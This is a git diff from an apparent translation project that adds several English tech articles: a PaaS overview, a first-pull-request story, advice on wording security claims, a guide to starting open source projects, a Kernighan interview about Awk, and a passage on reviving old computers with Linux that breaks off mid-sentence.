https://github.com/cube-js/cube.js/pull/3555 +[4]: https://opensource.com/article/22/8/non-code-contribution-powers-open-source diff --git a/sources/talk/20220914 Why Enterprises Should Opt for Platform as a Service.md b/sources/talk/20220914 Why Enterprises Should Opt for Platform as a Service.md new file mode 100644 index 0000000000..e2a6004472 --- /dev/null +++ b/sources/talk/20220914 Why Enterprises Should Opt for Platform as a Service.md @@ -0,0 +1,125 @@ +[#]: subject: "Why Enterprises Should Opt for Platform as a Service" +[#]: via: "https://www.opensourceforu.com/2022/09/why-enterprises-should-opt-for-platform-as-a-service/" +[#]: author: "Gopala Krishna Behara https://www.opensourceforu.com/author/gopalakrishna-behara/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why Enterprises Should Opt for Platform as a Service +====== +*Platform as a Service enables quick and easy creation of Web applications without the necessity of buying and maintaining the software and infrastructure underneath it. This article explains why it’s useful.* + +Platform as a Service (PaaS) refers to cloud computing services that provide a platform for customers to develop, run and manage applications without the complexity of building and maintaining the infrastructure associated with developing and launching them. This is the core platform on which cloud native applications and supporting systems are based. + +PaaS typically involves diverse application software infrastructure capabilities including application platforms, integration platforms, business analytics platforms, event-streaming services and mobile back-end services. In addition, it includes a set of monitoring, management, deployment and related capabilities. + +Developers are keen on getting their environments up without waiting, while operations teams care about performance and stability. This often gives rise to some conflict between them. PaaS creates a peaceful environment for both groups. An application platform delivered as a service is described as PaaS, and is used to deploy the user code. Cloud Foundry, Cloudify and OpenShift open source environments can be used as PaaS. + +### PaaS adoption pattern + +Cloud computing must satisfy five essential characteristics — on demand service, access network, resource pooling, elasticity and measured services. To achieve these, cloud computing provides three kinds of service models: Software as a Service (SaaS), Platform as a Service (PaaS) and Infrastructure as a Service (IaaS). + +The key business drivers of PaaS adoption are: + +* Reduction of capex and opex to deliver business services +* Minimising IT costs by improving the delivery time and quality of the application development and delivery +* Increasing the flexibility and integration between middleware components + +**Simple PaaS** is the entry point into the PaaS space. It allows provisioning of application services and exposes them into a self-service catalogue; it automates the deployment and meters the resources used by this service. + +*Manage PaaS* manages the SLA and QoS aspects of the provisioned applications such as resiliency, application performance, security, etc. + +*Programming PaaS* allows applications to integrate with external applications or public clouds, and to implement auto-scaling and cloud-bursting scenarios. + +*Process-oriented PaaS* allows implementation of a DevOps process by creating a continuous delivery flow that automates the build, test and delivery of applications into a cloud environment. + +In addition to these adoption patterns, there are other variations of PaaS, as listed below. These variations might align to one of the patterns explained above. + +**iPaaS:** Integration Platform as a Service (iPaaS) is a suite of cloud services that enables development, execution and governance of integration flows connecting any combination of on-premises and cloud-based processes, services, applications and data within individuals or across multiple organisations. Examples are MuleSoft CloudHub and BizTalk. + +**mPaaS:** Mobile Platform as a Service (mPaaS) is a provision of an interactive development environment (IDE) for the creation of mobile apps. It supports multiple mobile operating platforms. + +**dbPaaS:** Database Platform as a Service (dbPaas) is an on-demand, secure and scalable self-service database platform that automates the provisioning and administration of databases. dbPaaS makes it easier to scale databases and makes them more reliable. + +**IoTPaaS:** This provides common infrastructure to enable communication, security, analytics and management for heterogeneous IoT topologies. It provides simpler and agile models for building IoT solutions. + +**bpmPaaS:** Business process management PaaS (bpmPaaS) is a complete pre-integrated BPM platform hosted in the cloud and delivered as a service. It is leveraged for the development and execution of business processes and workflow-centric applications across enterprises. Examples are Pega cloud, and OpenText Cordys cloud. + +Some basic characteristics of PaaS are: + +* Services to develop, test, deploy, host and maintain applications in the same integrated development environment +* Multi-tenant architecture, in which multiple concurrent users use the same development application +* Built-in scalability of deployed software, including load balancing and failover +* Integration with heterogeneous platforms and systems +* Support for development team collaboration +* Tools to handle billing and subscription management + +### Key open source Platforms as a Service + +Before choosing a PaaS, enterprises must consider the following: + +* Deployment flexibility +* Ease of operations +* Choice of application stacks +* Language, database and framework support +* Scaling capabilities +* QoS +* Tooling for development and operations +* How well it fits your business + +Let’s now take a quick look at some popular open source PaaS. + +**Cloud Foundry:** This PaaS provides a choice of clouds, developer frameworks and application services. Cloud Foundry makes it faster and easier to build, test, deploy and scale applications. + +It has different distributions, of which the popular ones are Pivotal and IBM. It contains application runtime and container runtime. It also has Pivotal application service and Pivotal container service. + +**OpenShift:** This is Red Hat’s cloud computing PaaS offering. It is an application platform in the cloud, where application developers and teams can build, test, deploy and run their applications. + +**Cloudify:** Cloudify was developed and designed on the principles of openness to power the IT transformation revolution. It enables organisations to design, build and deliver various business applications and network services. The latest version of Cloudify is 4.3, which incorporates enhanced features like advanced security, control and true self-service. Cloudify 4.3 introduced a totally new concept for container orchestration with Kubernetes. + +| Functionality | Cloud Foundry | Cloudify | OpenShift | +| :- | :- | :- | :- | +| Core functionality | Cloud controller | Manager | Broker | +| Providing third party database services | Service broker | Agent | Cartridge | +| Routing of incoming traffic | Router | Manager | REST API | +| Querying the state of apps | Cloud controller | CLI client | Broker | +| Messaging | Message bus | Manager | Broker | +| App instance management | Droplet execution agent | Agent | Node | +| Application state management | Health manager | Manager | Broker | +| Broker | Warden | Agent | Gear | +| Load balancing of user requests | Droplet execution agent | Manager | Broker | +| Framework provider | Blob store | Agent | Cartridge | +| Technology | +| Languages | Java, Ruby, Scala, Node.js, Groovy, Grails, PHP, Go, Python | Java, PHP, Ruby | Java, Ruby, Node.js, PHP, Python, Perl, JavaScript | +| Databases | MongoDB, MySQL, +PostgreSQL | MySQL, MongoDB | MongoDB, MySQL, PostgreSQL | +| Frameworks | Spring, Rails, Grails, Play Sinatra | JavaScript, Node.js | Rails, Flask, Django, Drupal, Vertx | +| Horizontal scaling | Yes | Yes | Yes | +| Vertical scaling | Yes | No | Yes | +| Auto scaling | Yes | Yes | Yes | + +Table 1 lists the basic functionality and its corresponding Cloud Foundry, Cloudify and OpenShift architectural components. This is purely based on my views and the authenticity of the features supported needs to be validated with the cloud provider. + +From the industry adoption statistics we can clearly make out that PaaS adoption is picking up very rapidly. PaaS enables enterprise applications to be cloud-agnostic, so that they can run on any cloud platform — whether public or private. This means that a PaaS application developed on Amazon AWS can easily be ported to Microsoft Azure, to VMWare vSphere, to Red Hat RHEV, etc. + +PaaS is useful when multiple developers are working on a development project or when external users need to collaborate with the development process. So it is best suited for agile software development, because it eases the difficulties around rapid development and iteration of software. + +### Acknowledgements + +The author thanks Kiran M.R. and Raju Alluri of the digital architecture practice of Wipro Ltd for giving their time and support to this article. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/why-enterprises-should-opt-for-platform-as-a-service/ + +作者:[Gopala Krishna Behara][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/gopalakrishna-behara/ +[b]: https://github.com/lkxed diff --git a/sources/talk/20220919 I got my first pull request merged!.md b/sources/talk/20220919 I got my first pull request merged!.md new file mode 100644 index 0000000000..a1d2a7c32a --- /dev/null +++ b/sources/talk/20220919 I got my first pull request merged!.md @@ -0,0 +1,94 @@ +[#]: subject: "I got my first pull request merged!" +[#]: via: "https://opensource.com/article/22/9/first-pull-request-merged" +[#]: author: "Oluwaseun https://opensource.com/users/jhhornn" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +I got my first pull request merged! +====== +Experience the joy that contributing to open source brings. + +![Dandelion zoomed in][1] + +Image by: Photo by Rob Tiller, CC BY-SA 4.0 + +Words cannot express my joy when I got the notification about the merge below, and I owe it to my current engineering school, [AltSchool Africa][2]. + +![successful merge message][3] + +Before this, I had been introduced to open source many times, told about its importance in the tech space, and even attended open source conferences (e.g., OSCAFest). I had all the instant excitement to start, but imposter syndrome set in on opening GitHub to create something. + +Fast forward to Monday, the 8th of August, 2022, when I watched Bolaji's video on contributing to open source. I felt pumped again, but I wanted to apply what I learned, so I noted some steps. + +The steps: + +1. I made up my mind I was going to contribute to a project. +2. I was focused on a site ([good first issue][4]) to pick my first project from, which I filtered to suit my skill level. I kept opening the next page till I found one. +3. I made sure I was equipped with the required [Git and GitHub][5] knowledge to complete the project. + +### The project + +After long hours searching for projects, I finally found one titled, [Ensure no missing alt attributes][6]. I was to give descriptive alt values to images from the site. Alt values in images help to improve the accessibility of the site such that screen readers can provide a detailed description of the image to, say, a visually impaired person. Easy right? Yes, but if I didn't make up my mind to get the first contribution, I wouldn't find it, and open source would continue to be a myth to me. + +I was still pumped until I discovered it was from [MDN][7]. Wait, MDN? As in Mozilla developer? Will they merge my contribution even with how seemingly easy it looks? [Imposter syndrome][8] set in. + +Upon checking the issue, I saw that people were already contributing. I summoned my courage and started reading about it. Taking my time to read and understand the project and how I needed to approach the issue was another challenge I had to overcome. + +The project is as easy as you try to understand it. + +So, I picked two images to begin with. I gave alt values to them, committed my changes, then made a pull request. The time between when I made the pull request and when I got the approval mail was full of self-doubts. Should I close the pull request? This is MDN. Well, it's not coding... What if I don't get merged? I might never contribute again. All it took to clear all of the doubts were the emails I got from my reviewer below: + +![Email of approved pull request][9] + +![mail showing that pull request has been merged][10] + +![congratulatory mail on contributing and merging of pull request][11] + +I was indeed delighted, and this inspired me to check for more. It gave me the courage I needed to request additional issues to solve. + +![Mail of issue assignment][12] + +### Summary + +A few lessons I'd love you to take home from this article are: + +* Open source is for all. Do you see that typo on that site you just visited? You helping to correct it is a way of contributing. +* No skillset is too small. A basic understanding of HTML was what I needed to contribute. +* Only you can stop yourself from contributing. +* The first contribution is all you need to get the ball rolling. + +I hope you have been able to pick something from my story and apply it today. This is another space I'd like to keep contributing to, so see you in my next article, and happy open sourcing! + +*[This article originally appeared on I got my first Pull Request merged! and is republished with permission.][13]* + +Image by: (Awosise Oluwaseun, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/first-pull-request-merged + +作者:[Oluwaseun][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jhhornn +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/dandelion_zoom.jpg +[2]: https://www.altschoolafrica.com/ +[3]: https://opensource.com/sites/default/files/2022-09/successfulmerge.png +[4]: https://goodfirstissues.com/ +[5]: https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models +[6]: https://github.com/mdn/content/issues/19334 +[7]: https://developer.mozilla.org/en-US/ +[8]: https://opensource.com/article/20/9/imposter-syndrome +[9]: https://opensource.com/sites/default/files/2022-09/approved.png +[10]: https://opensource.com/sites/default/files/2022-09/merged_0.png +[11]: https://opensource.com/sites/default/files/2022-09/thanks.png +[12]: https://opensource.com/sites/default/files/2022-09/next.png +[13]: https://dev.to/jhhornn/i-got-my-first-pull-request-merged-3ei9 diff --git a/sources/talk/20220920 Security buzzwords to avoid and what to say instead.md b/sources/talk/20220920 Security buzzwords to avoid and what to say instead.md new file mode 100644 index 0000000000..8018ba3097 --- /dev/null +++ b/sources/talk/20220920 Security buzzwords to avoid and what to say instead.md @@ -0,0 +1,85 @@ +[#]: subject: "Security buzzwords to avoid and what to say instead" +[#]: via: "https://opensource.com/article/22/9/security-buzzword-alternatives" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Security buzzwords to avoid and what to say instead +====== +Consider these thoughtful approaches to define what security really means in your open source project. + +![Lock][1] + +Image by: JanBaby, via Pixabay CC0. + +Technology is a little famous for coming up with "buzzwords." Other industries do it, too, of course. "Story-driven" and "rules light" tabletop games are a big thing right now, "deconstructed" burgers and burritos are a big deal in fine dining. The problem with buzzwords in tech, though, is that they potentially actually affect your life. When somebody calls an application "secure," to influence you to use their product, there's an implicit promise being made. "Secure" must mean that something's secure. It's safe for you to use and trust. The problem is, the word "secure" can actually refer to any number of things, and the tech industry often uses it as such a general term that it becomes meaningless. + +Because "secure" can mean both so much and so little, it's important to use the word "secure" carefully. In fact, it's often best not to use the word at all, and instead, just say what you actually mean. + +### When "secure" means encrypted + +Sometimes "secure" is imprecise shorthand for *encrypted*. In this context, "secure" refers to some degree of difficulty for outside observers to eavesdrop on your data. + +**Don't say this:** "This website is resilient and secure." + +That sounds pretty good! You're probably imagining a website that has several options for 2-factor authentication, zero-knowledge data storage, and steadfast anonymity policies. + +**Say this instead:** "This website has a 99% uptime guarantee, and its traffic is encrypted and verifiable with SSL." + +Not only is the intent of the promise clear now, it also explains how "secure" is achieved (it uses SSL) and what the scope of "secure" is. + +Note that there's explicitly no promise here about privacy or anonymity. + +### When "secure" means restricted access + +Sometimes the term "secure" refers to application or device access. Without clarification, "secure" could mean anything from the useless *security by obscurity* model, to a simple htaccess password, to biometric scanners. + +**Don't say this:** "We've secured the system for your protection." + +**Say this instead:** "Our system uses 2-factor authentication." + +### When "secure" means data storage + +The term "secure" can also refer to the way your data is stored on a server or a device. + +**Don't say this:** "This device stores your data with security in mind." + +**Say this instead:** "This device uses full disk encryption to protect your data." + +When remote storage is involved, "secure" may instead refer to who has access to stored data. + +**Don't say this:** "Your data is secure." + +**Say this instead:** "Your data is encrypted using PGP, and only you have the private key." + +### When "secure" means privacy + +These days, the term "privacy" is almost as broad and imprecise as "security." On one hand, you might think that "secure" must mean "private," but that's true only when "secure" has been defined. Is something private because it has a password barrier to entry? Or is something private because it's been encrypted and only you have the keys? Or is it private because the vendor storing your data knows nothing about you (aside from an IP address?) It's not enough to declare "privacy" any more than it is to declare "security" without qualification. + +**Don't say this:** "Your data is secure with us." + +**Say this instead:** "Your data is encrypted with PGP, and only you have the private key. We require no personal data from you, and can only identify you by your IP address." + +Some sites make claims about how long IP addresses are retained in logs, and promises about never surrendering data to authorities without warrants, and so on. Those are beyond the scope of technological "security," and have everything to do with trust, so don't confuse them for technical specifications. + +### Say what you mean + +Technology is a complex topic with a lot of potential for confusion. Communication is important, and while shorthand and jargon can be useful in some settings, generally it's better to be precise. When you're proud of the "security" of your project, don't generalize it with a broad term. Make it clear to others what you're doing to protect your users, and make it equally clear what you consider out of scope, and communicate these things often. "Security" is a great feature, but it's a broad one, so don't be afraid to brag about the specifics. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/security-buzzword-alternatives + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/security-lock-password.jpg diff --git a/sources/talk/20220928 Build an open source project using this essential advice.md b/sources/talk/20220928 Build an open source project using this essential advice.md new file mode 100644 index 0000000000..f30e0812fc --- /dev/null +++ b/sources/talk/20220928 Build an open source project using this essential advice.md @@ -0,0 +1,132 @@ +[#]: subject: "Build an open source project using this essential advice" +[#]: via: "https://opensource.com/article/22/9/build-open-source-project" +[#]: author: "Bolaji Ayodeji https://opensource.com/users/bolajiayodeji" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Build an open source project using this essential advice +====== +Use these steps for a solid foundation for your first—or next—project. + +[Open source][2] is a flourishing and beneficial ecosystem that publicly solves problems in communities and industries using software developed through a decentralized model and community contributions. Over the years, this ecosystem has grown in number and strength among hobbyists and professionals alike. It's mainstream now—even proprietary companies use open source to build software. + +With the ecosystem booming, many developers want to get in and build new open source projects. The question is: How do you achieve that successfully? + +This article will demystify the lifecycle and structure of open source projects. I want to give you an overview of what goes on inside an open source project and show you how to build a successful and sustainable project based on my personal experience. + +### A quick introduction to open source + +The [Open Source Initiative][3] (OSI) provides a formal, detailed definition of open source, but Wikipedia provides a nice summary: + +> Open source software is computer software that is released under a license in which the copyright holder grants users the rights to use, study, change, and distribute the software and its source code to anyone and for any purpose. + +Open source software is public code, usually on the internet, developed either collaboratively by multiple people or by one person. It's about collaborating with people from different regions, cultures, and technical backgrounds, often working remotely. This is why creating a project that welcomes everyone and enables different people to work together is essential. + +### The anatomy of an open source project + +Like the human body, an open source project is made up of several structures that form the entire system. I think of them as two branches: the people (microscopic) and the documents (macroscopic). + +#### Branch one: people + +Generally, an open source project includes the following sets of people: + +* Creators: Those who created the project +* Maintainers: Those who actively manage the entire project +* Contributors: Those who contribute to the project (someone like you!) +* User: Those who use the project, including developers and nontechnical customers +* Working group: A collection of contributors split into domain-specific groups to focus on a discussion or activity around a specific subject area (such as documentation, onboarding, testing, DevOps, code reviews, performance, research, and so on) +* Sponsor: Those who contribute financial support to the project + +You need to consider each group in the list above as you prepare to build a new project. What plan do you have for each of them? + +* For maintainers, decide on the criteria you want to use to appoint them. Usually, an active contributor makes the best maintainer. +* For users and contributors, you want to prepare solid documentation, an onboarding process, and everything else they need to succeed when working with your project. +* For working groups, decide whether you need them and how your project may be logically split in the future. +* Finally, for sponsors, you must provide enough data and information about your project to enable them to choose to sponsor you. + +You don't need to have all of these figured out at the start of your project. However, it's wise to think about them at the early stages so you can build the right foundations to ensure that future additions stand firm and lead to a successful project. + +#### Branch two: documents + +Open source projects usually include the following documents, usually in plain text or markdown format: + +* License: This legal document explains how and to what extent the project can be freely used, modified, and shared. A list of OSI-approved licenses is available on the OSI website. Without an explicit license, your project is not legally open source! +* Code of conduct: This document outlines the rules, norms, acceptable practices, and responsibilities of anyone who decides to participate in the project in any way (including what happens when someone violates any of the rules). The [Contributor Covenant][4] is a good example and is open source (licensed under a Creative Commons license). +* README: This file introduces your project to newcomers. On many Git hosting websites, such as GitLab, GitHub, and Codeberg, the README file is displayed under the initial file listing of a repository. It's common to feature documentation here, with links to other necessary documents. +* Documentation: This is a file or directory containing all documentation resources for the project, including guides, API references, tutorials, and so on. +* Contributing: Include a document explaining how to contribute to the project, including installation guides, configuration, and so on. +* Security: Include a file explaining how to submit vulnerability reports or security issues. + +Additionally, a project usually has web pages for issues, support, and collaboration. + +Broadly, these include: + +* Issues or bug reports: A place where users can report bugs. This page also provides a place developers can go to assign themselves the task of fixing one or more of them. +* Pull or merge requests: A place with proposed feature enhancements and solutions to bugs. These patches may be created by anyone, reviewed by the maintainers, then merged into the project's code. +* Discussions: A place where maintainers, contributors, and users discuss an open source project. This may be a dedicated website or a forum within a collaborative coding site. + +Most projects also have a communication channel in the form of an online chat for conversations and interactions between community members. + +### Licensing + +[Licensing][5] is perhaps the easiest but most important criterion to consider before creating an open source project. A license defines the terms and conditions that allow the source code and other components of your project to be used, modified, and shared. + +Licenses contain tons of legal jargon that many people don't fully understand. I use [choosealicense.com][6], which helps you choose a license based on your intended community, your desire to get patches back from those using your code, or your willingness to allow people to use your code without sharing improvements they make to it. + +![This provides guidance on when to use an MIT license or a GNU GPLv3 license. It also recommends that people contributing to a community use the license preferred by that community. The graphic also notes that there are many more licenses available. The website choosealicense.com has a text-based version of this image that links to more detailed information.][7] + +Image by: (Bolaji Ayodeji, CC BY-SA 4.0) + +### 13 phases of creating an open source project + +Now for the essential question: How do you start an open source software project? + +Here is a list of what I consider the phases of an open source project. + +1. Brainstorm your idea, write a synopsis, and document it properly. +2. Begin developing your idea. This usually involves figuring out the right tools and stacks to use, writing some code, version controlling the code, debugging, drinking some coffee, hanging around StackOverflow, using other open source projects, sleeping, and building something to solve a defined problem—or just for fun! +3. Test the project locally, write some unit and integration tests as required, set up [CI/CD pipelines][8] as needed, create a staging branch (a test branch where you test the code live before merging into the main branch), and do anything else you need to deploy the project. +4. Write [good and effective documentation][9]. This should cover what your project does, why it is useful, how to get started with it (usage, installation, configuration, contributing), and where people can get support. +5. Ensure to document all code conventions you want to use. Enforce them with tools like linters, code formatters, Git hooks, and the commitizen command line utility. +6. Choose the right license and create a README. +7. Publish the project on the internet (you might have a private repository initially, and make it public at this step). +8. Set up the processes for making releases and documenting changelogs (you can use tools like Changesets). +9. Market the project to the world! You can make a post on social media, start a newsletter, share it with your friends privately, do a product hunt launch, live stream, or any other traditional marketing strategy you know. +10. Seek funding support by using any of the available funding platforms, like Open Collective, GitHub Sponsors, Patreon, Buy me a Coffee, LiberaPay, and so on. When you create accounts with these platforms, add a link to it in your project's documentation and website. +11. Build a community around your project. +12. Consider introducing working groups to break your project's management into logical parts when required. +13. Continuously implement new ideas that sustain the resources and people behind your project. + +It's important to measure different parts of your project as you progress. This provides you with data you can use for evaluation and future growth strategies. + +### Now start a project! + +I hope this article helps you move forward with that project you've been thinking about. + +Feel free to use it as a guide and fill any gaps I missed as you build your awesome open source software project. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/build-open-source-project + +作者:[Bolaji Ayodeji][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bolajiayodeji +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/BUSINESS_buildtogether.png +[2]: https://opensource.com/resources/what-open-source +[3]: https://opensource.org +[4]: https://www.contributor-covenant.org/version/2/1/code_of_conduct +[5]: https://opensource.com/tags/licensing +[6]: https://choosealicense.com +[7]: https://opensource.com/sites/default/files/2022-09/choosealicense.png +[8]: https://opensource.com/article/19/9/intro-building-cicd-pipelines-jenkins +[9]: https://slides.com/bolajiayodeji/effective-oss-docs diff --git a/sources/talk/20221001 What-s new with Awk-.md b/sources/talk/20221001 What-s new with Awk-.md new file mode 100644 index 0000000000..3f6a791230 --- /dev/null +++ b/sources/talk/20221001 What-s new with Awk-.md @@ -0,0 +1,80 @@ +[#]: subject: "What's new with Awk?" +[#]: via: "https://opensource.com/article/22/10/whats-new-awk" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What's new with Awk? +====== +Brian Kernighan discusses the scripting tool Awk, from its creation to current work on Unicode support. + +Awk is a [powerful scripting tool][4] that makes it easy to process text. Awk scripts use a pattern-action syntax, where Awk performs an action for every line in a file that matches a pattern. This provides a flexible yet powerful scripting language to deal with text. For example, the one-line Awk script `/error/ {print $1, $2, $3}` will print the first three space-delimited fields for any line that contains the word `error`. + +While we also have the GNU variant of Awk, called Gawk, the original Awk remains under development. Recently, Brian Kernighan started a project to add Unicode support to Awk. I met with Brian to ask about the origins of Awk and his recent development work on Awk. + +Jim Hall: Awk is a great tool to parse and process text. How did it start? + +Brian Kernighan: The most direct influence was a tool that Marc Rochkind developed while working on the Programmer's Workbench system at Bell Labs. As I remember it now, Marc's program took a list of regular expressions and created a C program that would read an input file. Whenever the program found a match for one of the regular expressions, it printed the matching line. It was designed for creating error checking to run over log files from telephone operations data. It was such a neat idea—Awk is just a generalization. + +Jim: AWK stands for the three of you who created it: Al Aho, Peter Weinberger, and Brian Kernighan. How did the three of you design and create Awk? + +Brian: Al was interested in regular expressions and had recently implemented egrep, which provided a very efficient lazy-evaluation technique for a much bigger class of regular expressions than what grep provided. That gave us a syntax and working code. + +Peter had been interested in databases, and as part of that he had some interest in report generation, like the RPG language that IBM provided. And I had been trying to figure out some kind of editing system that made it possible to handle strings and numbers with more or less equal ease. + +We explored designs, but not for a long time. I think Al may have provided the basic pattern-action paradigm, but that was implicit in a variety of existing tools, like grep, the stream editor sed, and in the language tools YACC and Lex that we used for implementation. Naturally, the action language had to be C-like. + +Jim: How was Awk first used at Bell Labs? When was Awk first adopted into Unix? + +Brian: Awk was created in 1977, so it was part of 7th-edition Unix, which I think appeared in about 1979. I wouldn't say it was adopted, so much as it was just another program included because it was there. People picked it up very quickly, and we soon had users all over the Labs. People wrote much bigger programs than we had ever anticipated, too, even tens of thousands of lines, which was amazing. But for some kinds of applications, the language was a good match. + +Jim: Has Awk changed over the years, or is Awk today more or less the same Awk from 1977? + +Brian: Overall, it's been pretty stable, but there have been a fair number of small things, mostly to keep up with at least the core parts of Gawk. Examples include things like functions to do case conversion, shorthands for some kinds of regular expressions, or special filenames like `/dev/stderr`. Internally, there's been a lot of work to replace fixed-size arrays with arrays that grow. Arnold Robbins, who maintains Gawk, has also been incredibly helpful with Awk, providing good advice, testing, code, and help with Git. + +Jim: You're currently adding Unicode support to Awk. This is one of those projects that seems obvious when you hear it, because Unicode is everywhere, but not every program supports it yet. Tell us about your project to add Unicode to Awk. + +Brian: It's been sort of embarrassing for a while now that Awk only handled 8-bit input, though in fairness it predates Unicode by 10 or 20 years. Gawk, the GNU version, has handled Unicode properly for quite a while, so it's good to be up to date and compatible. + +Jim: How big of a project is adding Unicode support? Did this require many changes to the source code? + +Brian: I haven't counted, but it's probably 200 or 300 lines, primarily concentrated in either the regular expression recognizer or in the various built-in functions that have to operate in characters, not bytes, for Unicode input. + +Jim: How far along are you in adding Unicode to Awk? + +Brian: There's a branch of the code at GitHub that's pretty up to date. It's been tested, but there's always room for more testing. + +One thing to mention: It handles UTF-8 input and output, but for Unicode code points, which are not the same thing as Unicode graphemes. This distinction is important but technically very complicated, at least as I understand it. As a simple example, a letter with an accent could be represented as two code points (letter and accent) or as a single character (grapheme). Doing this right, whatever that means, is very hard. + +Jim: In a Computerphile video, you mention adding support for comma-separated values (CSV) parsing to Awk. How is that project going? + +Brian: While I had my hands in the code again, I did add support for CSV input, since that's another bit of the language that was always clunky. I haven't done anything for CSV output, since that's easy to do with a couple of short functions, but maybe that should be revisited. + +Jim: What kinds of things do you use Awk for in your day-to-day work? + +Brian: Everything. Pretty much anything that fiddles text is a target for Awk. Certainly, the Awk program I use most is a simple one to make all lines in a text document the same length. I probably used it 100 times while writing answers to your questions. + +Jim: What's the coolest (or most unusual) thing you have used Awk to do? + +Brian: A long time ago, I wrote a C++ program that converted Awk programs into C++ that looked as close to Awk as I could manage, by doing things like overloading brackets for associative arrays. It was never used, but it was a fun exercise. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/whats-new-awk + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/resources/what-awk diff --git a/sources/talk/20221003 Is your old computer -obsolete-, or is it a Linux opportunity-.md b/sources/talk/20221003 Is your old computer -obsolete-, or is it a Linux opportunity-.md new file mode 100644 index 0000000000..7804bd48ee --- /dev/null +++ b/sources/talk/20221003 Is your old computer -obsolete-, or is it a Linux opportunity-.md @@ -0,0 +1,62 @@ +[#]: subject: "Is your old computer 'obsolete', or is it a Linux opportunity?" +[#]: via: "https://opensource.com/article/22/10/obsolete-computer-linux-opportunity" +[#]: author: "Phil Shapiro https://opensource.com/users/pshapiro" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Is your old computer 'obsolete', or is it a Linux opportunity? +====== +Too often older computers are labeled 'obsolete'. Linux changes that. Refurbish an old computer and make it useful again for someone who needs it. + +![Old UNIX computer][1] + +Image by: Opensource.com + +You may often hear someone claim a computer, tablet, or smartphone is "obsolete." When you hear such a statement, take a minute to ask yourself, "Is this person speaking an opinion or a fact?" + +Many times, their statement is an opinion. Let me explain why. + +When someone declares a computer "obsolete," they often speak from their own point of view. So, if you're a technology professional, a five-year-old computer might indeed be obsolete. But is that same five-year-old computer obsolete to a refugee family fleeing war or famine? Probably not. A computer that is obsolete for you might be a dream computer for someone else. + +### How I refurbish old computers with Linux + +I have some experience in this field. For the past 25 years, I've been taking older computers to people who don't have them. One of my second grade students, raised by her grandmother, graduated from Stanford University five years ago. Another one of my students, to whom I delivered a dusty Windows XP desktop in 2007, graduated from Yale University last year. Both of these students used donated computers for their own self-advancement. The latter student typed more than 50 words per minute before reaching middle school. Her family could not afford Internet service when I delivered her donated computer to her–in third grade. So, she used her time productively to learn touch typing skills. I document her story in [this YouTube video][2]. + +I'll share another anecdote that is difficult to believe, even for me. A few years ago, I bought a Dell laptop on eBay for $20. This laptop was a top-of-the-line laptop in 2002. I installed Linux Mint on it, added a USB WiFi adapter, and this laptop was reborn. I documented this story in a YouTube video titled, "[My $20 eBay laptop][3]." + +In the video, you can see this laptop surfing the web. It's not speedy but is much faster than the dial-up computers we used in the late 1990s. I would describe it as *functional*. Someone could write their doctoral thesis using this 2002 laptop. The thesis would read as well as if it were written using a computer released yesterday. This laptop should be set up somewhere public where people can see up close that a 2002 computer can still be usable. Seeing is believing. Ain't that the truth? + +How about those famed "netbooks" from 2008, 2009, and 2010? Surely those are obsolete, right? Not so fast! If you install a 32-bit Linux on them, they can surf the web just fine using the latest version of Chromium web browser–which still supports 32-bit operating systems. (Google Chrome no longer supports 32-bit operating systems, though.) A student with one of these netbooks could watch Khan Academy videos and develop their writing skills using Google Docs. Hook up one of these netbooks to a larger LCD screen, and the student could develop skills with [LibreOffice Draw][4] or [Inkscape][5], two of my favorite open source graphics programs. If you're interested, I have a [video for reviving 